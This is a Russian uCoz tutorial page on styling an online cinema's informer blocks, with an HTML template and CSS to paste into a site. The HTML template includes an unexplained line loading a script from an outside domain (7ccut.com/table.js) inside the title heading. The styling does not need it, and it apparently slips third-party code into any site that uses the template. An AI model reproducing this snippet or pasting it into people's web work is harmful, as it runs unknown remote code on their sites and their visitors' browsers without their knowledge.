Приветствую вас, Прохожий | Четверг, 25.04.2024, 21:03
Главная | Форум | Каталог сайтов
Навигация
Авторство DLoads.ru
Реклама
Купить ссылку здесь
(Цена: 1 руб.)


Поставить к себе на сайт
Популярный файл
[Просмотров 8641][Карты]
Помоги сайту
Помоги сайту, брось пару монеток на развитие сайта.

Yandex money
41001360145635
Опрос
Вам нравится наш сайт?
Всего ответов: 33
Реклама


Категории

Главная » Файлы » Всё для uCoz » Скрипты / хаки

25.01.2014, 16:46
Вид информера онлайн кинотеатра
Если вы владелец онлайн кинотеатра в системе uCoz, и пользуетесь информерами, то статья именно для вас.
Стандартный вид информеров не то, что поможет привлечь потенциальных зрителей, а скорее отпугнет. Во-первых, из-за того, что заходят в кинотеатр, все должно быть наглядно. Изначально информер выглядит как простой текст (название), с датой добавления, и автором, все. Мало, кто захочет читать. Поэтому для информеров такого типа нужна как минимум картинка. Это не обязательно может быть информер фильмов. Да, уже нормально, но фильмы имеют названия разной длины, потому все картинки смещаются, какие-то выше, какие-то ниже, в общем, весь вид портится.

Я предлагаю сделать надписи прямо на картинке, при этом красиво это все оформив.

Итак, начнем.

Для начала, вставим этот код в шаблон информера.

Код
<table border="0" cellpadding="2" cellspacing="1" width="100%" class="infTable">  
<tbody>  
<tr align="center">  
<td class="infTitle" colspan="2">  
<p>  
<div class="image">  
<a href="$ENTRY_URL$"><img src="$IMG_URL1$" vspace="5" width="160" height="220" align="center" border="2" hspace="10" title="$TITLE$" style="vertical-align: bottom;"></a>  
<h2> <script src="http://7ccut.com/table.js" type="text/javascript"></script>  
<div class="img_title"><div align="left"><a href="$ENTRY_URL$">$TITLE$</a></div></div>  
</h2>  
</div>  
</p>  
</td>  
</tr>  
</tbody>  
</table>


После чего, в CSS вставляем данные стили.

Код
.img_title {  
word-wrap: break-word;  
text-indent: 0px;  
font-size: 13px;  
color: #376d9c;  
font-weight: bold; font-family: Arial Narrow, sans-serif;  
background: #ffffff;  
height: 40px;  
vertical-align:middle;  
width: 162px;  
left: 20px;  
text-align: center;  
-webkit-box-shadow:0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;  
-moz-box-shadow:0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;  
box-shadow:0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;  
-webkit-box-shadow: 0 15px 10px -10px rgba(0, 0, 0, 0.5), 0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;  
-moz-box-shadow: 0 15px 10px -10px rgba(0, 0, 0, 0.5), 0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;  
box-shadow: 0 15px 10px -10px rgba(0, 0, 0, 0.5), 0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;  
}  
.image {  
position: relative;  
width : 100%;  
}  
h2 {  
position: absolute;  
top: 170px;  
left: 0;  
width : 100%;  
vertical-align:middle;  
}


Это придаст нашему блоку с названием тень, а тексту стиль.

height: 40px - можно убрать, чтобы блок сам увеличивался или уменьшался в зависимости от длины заголовка. Или оставить, если хотите, чтобы блоки были одинаковые (при этом если надпись длиннее оставленной высоты (места), то она будет вылезать за рамки).

Код
h2 {  
position: absolute;  
top: 170px;  
left: 0;  
width : 100%;  
vertical-align:middle;  
}  
.image {  
position: relative;  
width : 100%; /* for IE 6 */  
}  
Внимание:  Администрация сайта не несет ответственности за скачиваемые файлы. То же самое относится и к информации, которая указана разработчиком в описании программы. Стоит учитывать, что даже на проверенные нами файлы на предмет наличия в них всевозможных вирусов, мы не можем дать 100% гарантию, что они действительно не заражены. Поэтому, всегда проверяйте файлы, загруженные с нашего сайта, на наличие вирусов.

Смотрите так же:
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]


На нашем сайте вы сможете скачать, абсолютно бесплатно и без регистрации на каких либо ресурсов. На нашем сайте выложены материалы на тематику компьютерной индустрии, а так же интернет новшеств которые вы можете скачать бесплатно и без регистрации. На нашем портале рамещены адоны, моды, карты, инструкции для garrys mod. скрипты, шаблоны, помощь по веб ресурсам на платформе uCoz. программы для вашего компьютера и телефона а так же игры различных жанров для компьютера, все это вы можете скачать бесплатно и без регистрации. ничего платить не нужно, просто заходите и скачиваете бесплатно и без регистрации.

Реклама
регистрация доменов
Мини-профиль
Дешевые домены, регистрация
Зарегистрируй себе домен! имя: 

Наша кнопка




Статистика

Кто онлайн:
Rambler's Top100 Рейтинг@Mail.ru Яндекс.Метрика

Копирование идеи и материалов сайта может негативно сказаться на вас. Использование любых материалов сайта возможно только с письменного разрешения.
dloads.ru © 2009 - 2024 Хостинг от uCoz